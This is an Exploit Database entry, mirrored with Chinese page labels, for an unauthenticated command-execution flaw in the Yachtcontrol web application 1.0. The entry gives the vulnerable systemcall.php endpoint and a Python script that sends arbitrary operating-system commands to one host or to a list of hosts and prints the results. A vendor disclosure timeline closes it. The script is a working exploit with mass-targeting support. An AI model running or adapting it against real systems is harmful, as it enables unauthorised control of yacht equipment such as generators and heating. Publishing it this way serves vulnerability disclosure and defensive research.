Yachtcontrol Webapplication 1.0 – Unauthenticated Remote Code Execution

• Exploit Database
• 14 阅读

• 作者： Hodorsec
  日期： 2019-12-09
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/47760/

• # Exploit Title: Yachtcontrol Webapplication 1.0 - Unauthenticated Remote Code Execution
  # Google Dork: N/A
  # Date: 2019-12-06
  # Exploit Author: Hodorsec
  # Vendor Homepage: http://www.yachtcontrol.nl/en/
  # Version: 1.0
  # Software Link: http://download.yachtcontrol.nl/klant/Software/ & http://download.yachtcontrol.nl/klant/Firmware/
  # Versions: Yachtcontrol webapplication through versions dated on 2019-10-06. No versioning system detected.
  # Tested on: Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
  # CVE: N/A
  # 
  # Description Product:
  # Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication, 
  # it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components. 
  # Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht.
  # Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices.
  #
  # Description Vulnerability: 
  # It's possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" 
  # page and parameter, where {COMMAND} will be executed and returning the results to the client. 
  # 
  # Affected Components:
  # Yachtcontrol webservers using the custom PHP webapplication, versions until 2019-10-06.
  
  #!/usr/bin/python
  import sys,os,requests
  
  # Check arguments
  if len(sys.argv) != 5:
  print "Error: enter at least one IP/FQDN as argument. Exiting..."
  print "\nUsage: " + sys.argv[0] + " {IP/FQDN} {PORT} {PROTO} {COMMAND}\n"
  exit(0)
  
  # Parameters
  host = sys.argv[1]
  port = sys.argv[2]
  proto = sys.argv[3]
  command = sys.argv[4]
  timeout = 10
  isFile = False
  
  # Check for file or single IP/FQDN
  if os.path.isfile(host):
  isFile = True
  with open(host) as f:
  targets = f.readlines()
  
  # Vulnerable page
  page = "/pages/systemcall.php?command="
  
  # HTTP or HTTPS
  if proto == "http":
  proto = "http://"
  elif proto == "https":
  proto = "https://"
  else:
  print "\nInvalid method given: enter http or https\n"
  exit(0)
  
  # Do the request
  if isFile:
  for host in targets:
  target = host.strip()
  print target
  try:
  response = requests.get(proto + target + ":" + port + page + command, verify=False, timeout=timeout)
  print(response.content.replace('executing command: ' + command,''))
  except requests.exceptions.Timeout:
  print "Timed out."
  pass
  except requests.exceptions.RequestException as e:
  print "Host not found."
  pass
  else:
  try:
  response = requests.get(proto + host + ":" + port + page + command, verify=False, timeout=timeout)
  print(response.content.replace('executing command: ' + command,''))
  except requests.exceptions.Timeout:
  print "Timed out."
  pass
  except requests.exceptions.RequestException as e:
  print "Host not found."
  pass
  
  #Disclosure Timeline using CERT/CC disclosure policy:
  #- 06-10-19: Requested CVE
  #- 06-10-19: Contacted vendor for initial contact, used several publicly known mailaddresses
  #- 12-10-19: Sent reminder due to no response
  #- 06-11-19: Sent second reminder due to no response
  #- 08-11-19: Received response requesting information, sent information
  #- 11-11-19: Correspondence concerning vulnerability
  #- 25-11-19: Sent reminder of publishing PoC to vendor, received response
  #- 05-12-19: Sent final reminder of publishing PoC to vendor
  #- 06-12-19: Public Disclosure